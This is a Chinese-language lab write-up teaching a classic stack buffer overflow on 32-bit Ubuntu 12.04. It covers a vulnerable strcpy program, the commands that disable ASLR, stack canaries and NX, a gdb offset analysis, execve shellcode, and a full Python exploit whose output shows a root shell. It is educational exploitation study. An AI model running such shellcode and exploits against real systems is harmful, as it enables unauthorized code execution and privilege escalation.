棧溢出學習
經典棧溢出
這次實驗是最簡單的棧溢出實驗,沒有任何防護機制。
實驗環境
Ubuntu12.04(一開始用的64位Kali-Linux,踩了不少坑,最后還是用了教程上面的環境Ubuntu12.04)
漏洞代碼:
//vuln.c
#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[]) {
/* [1] */ char buf[256];
/* [2] */ strcpy(buf,argv[1]);
/* [3] */ printf("Input:%s\n",buf);
return 0;
}
分析:當我們輸出的字符串大于256字節,覆蓋到main函數的返回地址,使其指向我們的shellcode,就可以完成攻擊
編譯命令
$echo 0 > /proc/sys/kernel/randomize_va_space
$gcc -g -fno-stack-protector -z execstack -o vuln vuln.c
第一條指令是為了關閉ASRL保護機制
第二條指令-g 產生debug信息,便于接下來使用dgb調試,-fno-stack-protector關閉canary保護機制,-z execstack關閉NX保護機制,允許在棧上執行代碼。
GDB運行程序
gdb -q vuln
運行程序
(gdb) disassemble main
Dump of assembler code for function main: //注意Intel格式
0x08048414 <+0>: push %ebp
0x08048415 <+1>: mov %esp,%ebp //這兩句不用解釋
0x08048417 <+3>: and $0xfffffff0,%esp //對齊
0x0804841a <+6>: sub $0x110,%esp //分配棧空間
0x08048420 <+12>: mov 0xc(%ebp),%eax //%eax = argv
0x08048423 <+15>: add $0x4,%eax //$eax = argv + 4 = &argv[1]
0x08048426 <+18>: mov (%eax),%eax //%eax = argv[1]
0x08048428 <+20>: mov %eax,0x4(%esp) //Mem[%esp + 4] = %eax = argv[1]
0x0804842c <+24>: lea 0x10(%esp),%eax //%eax = %esp + 10 這個esp+10就是buf的起始地址
0x08048430 <+28>: mov %eax,(%esp) //Mem[%esp] = %eax = %esp + 10
0x08048433 <+31>: call 0x8048330 <strcpy@plt> //調用strcpy函數
0x08048438 <+36>: mov $0x8048530,%eax //0x8048330應該是"Input:%s"的起始地址
0x0804843d <+41>: lea 0x10(%esp),%edx //%edx = %esp + 10等于buf的起始地址
0x08048441 <+45>: mov %edx,0x4(%esp) //Mem[%esp + 4] = %esp + 10
0x08048445 <+49>: mov %eax,(%esp) //Mem[%esp] = 0x8048330,其實這里涉及到一個很有意思的東西,linux32位下面的函數調用約定_cdecl,從右向左依次壓棧,因此"Input:%s“在棧頂,buf在%esp+4的位置
0x08048448 <+52>: call 0x8048320 <printf@plt> //調用printf函數
0x0804844d <+57>: mov $0x0,%eax //設置返回值為0,return 0
0x08048452 <+62>: leave //%esp = %ebp, pop %ebp
0x08048453 <+63>: ret //%eip = [%esp], %esp += 4
End of assembler dump.
shellcode攻擊分為以下三步
找到buf起始地址到返回地址的空間大小
經過上面的反匯編代碼,我們可以看到buf起始地址在%esp+10的地方,而%esp = %ebp - 0x110,依次他距離%ebp為0x100字節由于前面有一個%esp對齊操作,造成了esp大小的改變,教程中直接說明這里面esp其實移動了8字節,然后再算上ebp寄存器4字節的大小,所以一共是0x10C個字節(268個字節)
這里提供一個找自己方便的方式,不需要知道and 0xfffffff0, %esp指令的效果,便可以計算出原來的esp到沒有減0x110的esp之間的距離
(gdb) b *0x08048414 //我們在push %ebp處打斷點,這時esp棧頂指針指向返回地址
Breakpoint 1 at 0x8048414: file basic_stack_overflow.c, line 4.
(gdb) b *0x0804841a //在sub $0x110, %esp處打斷點,這是esp的值為原來的esp-4,然后對齊過后的值,可以想象,這兩條指令執行之前esp的差值最后加上0x100就是buf到返回地址的差距
Breakpoint 2 at 0x804841a: file basic_stack_overflow.c, line 4.
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/jackson/Program/CTF/Pwn/vuln
Breakpoint 1, main (argc=2, argv=0xbffff614)
at basic_stack_overflow.c:4
4 int main(int argc, char* argv[]) {
(gdb) p $esp //查看第一個斷點esp的值
$4 = (void *) 0xbffff57c
(gdb) c
Continuing.
Breakpoint 2, 0x0804841a in main (argc=2, argv=0xbffff614)
at basic_stack_overflow.c:4
4 int main(int argc, char* argv[]) {
(gdb) p $esp //查看第二個斷點esp的值
$5 = (void *) 0xbffff570
(gdb)
0xbffff570-0xbffff57c = 0xc = 12
12 + 0x100 = 0x10c = 268
決定覆蓋返回地址的新地址,也就是我們shellcode的起始地址
這個起始地址一般是指向返回地址的esp值+4,需要獲取時我們就在ret指令之前打一個斷點,然后p指令輸出
(gdb) b *0x08048453 //打斷點
Breakpoint 2 at 0x8048453: file basic_stack_overflow.c, line 9.
(gdb) run ——python -c 'print "A" * 300'——
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/jackson/Program/CTF/Pwn/vuln ——python -c 'print "A" * 300'——
Input:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 2, 0x08048453 in main (argc=1094795585, argv=0x41414141)
at basic_stack_overflow.c:9
9 }
(gdb) p $esp
$1 = (void *) 0xbffff55c
(gdb)
可以看到指向return address的棧指針為0xbffff55c,因此我們設置新的地址的值可以是0xbffff560,實際上gdb調試的地址和真實運行時的地址是不一樣的,參見https://www.mathyvanhoef.com/2012/11/common-pitfalls-when-writing-exploits.html
shellcode的編寫
本次shellcode實現——execv('/bin//sh')的函數
0: 31 c0 xor eax,eax
2: 50 push eax
3: 68 2f 2f 73 68 push 0x68732f2f //'//sh'
8: 68 2f 62 69 6e push 0x6e69622f //'/bin'
d: 89 e3 mov ebx,esp
f: 50 push eax
10: 89 e2 mov edx,esp
12: 53 push ebx
13: 89 e1 mov ecx,esp
15: b0 0b mov al,0xb
17: cd 80 int 0x80
開始Exploit
#exp.py
#!/usr/bin/env python
import struct
from subprocess import call
#Stack address where shellcode is copied.
ret_addr = 0xbffff1d0 #記得修改為自己的
#Spawn a shell
#execve(/bin/sh)
scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" #就是我們上面的匯編代碼的機器碼
#endianess convertion
def conv(num):
return struct.pack("<I",num)
# buf = Junk + RA + NOP's + Shellcode
buf = "A" * 268
buf += conv(ret_addr)
buf += "\x90" * 100
buf += scode
print "Calling vulnerable program"
call(["./vuln", buf])
執行效果如下:
$ python exp.py
Calling vulnerable program
Input:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��������������������������������������������������������������������������������������������������������1�Ph//shh/bin��P��S���
# id
uid=1000(sploitfun) gid=1000(sploitfun) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(sploitfun)
# exit
$